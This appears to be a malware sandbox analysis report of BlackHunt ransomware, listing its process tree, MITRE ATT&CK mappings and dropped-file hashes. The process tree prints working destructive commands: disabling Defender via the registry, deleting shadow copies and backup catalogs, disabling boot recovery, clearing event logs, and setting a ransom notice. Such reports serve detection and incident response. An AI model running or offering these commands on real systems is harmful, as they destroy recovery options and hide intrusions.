  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1556
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1572
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1644
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:856
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1944
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1564
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1424
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1600
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:328
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3012
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1756
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2716
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3052
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1700
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1684
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:476
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2992
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:856
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2336
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe"
  2⤵
  - Deletes itself
  PID:1468
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1224

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2936

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2084

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1768

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1216

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:1776

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1224

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2652

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2596

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2588

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:3000

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:3064

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2016

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2916

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2300

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1404

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2984

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1356

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:568

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:2544

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:800

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1192

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2748

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
43fedd3abcd836a1db5d684b7d7fbcba

SHA1
c36543c939101754988d51eba7abce31a57621ad

SHA256
6e65aa54067968ab84f4ec3f7f0dcf553c9531611e69735fae3af2184d1e7247

SHA512
656c08d8aef824b2b9dd088fc37b9f0a7cfb558fe29d52c94a036defc5aa568b574543d434eac25bb6d9da9537b02e9843ef38434ba1ee60d029d97b7cf09c44

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
b374b32f6b77719de9de63b1dac06701

SHA1
abc4b5edf26dd32881ba17c2c606ea6492f1a724

SHA256
fcc460b17c7f5e510af98abb0c41919de97bf3c3ca1420dc4463f9bde7528b43

SHA512
8b41ebda8140324e7d491775ba1ab62e081bc4493681f50cf0459da4183159dc8c6fa754c3016db6dcb11f74c68207b5dd08632579faa9a0d372e22e6bf981cc

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
0abecbd0bfe3b24acdacb527708133f9

SHA1
44dd4712f4cf74079453ef14c3a386ed68110d5f

SHA256
7b8768ad8f2ce67c80ea310c85ac5be806de6f3265c6277e31a159c7b7baaca1

SHA512
5b954bba331cfa6ba4ede8fc0db279d45785a8812ec2cf25d4342e5ed2b6e670a8fa3c00d420b2f82b9d6d888a01c313bf46971421ca4caf1846121e7c78ece6

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads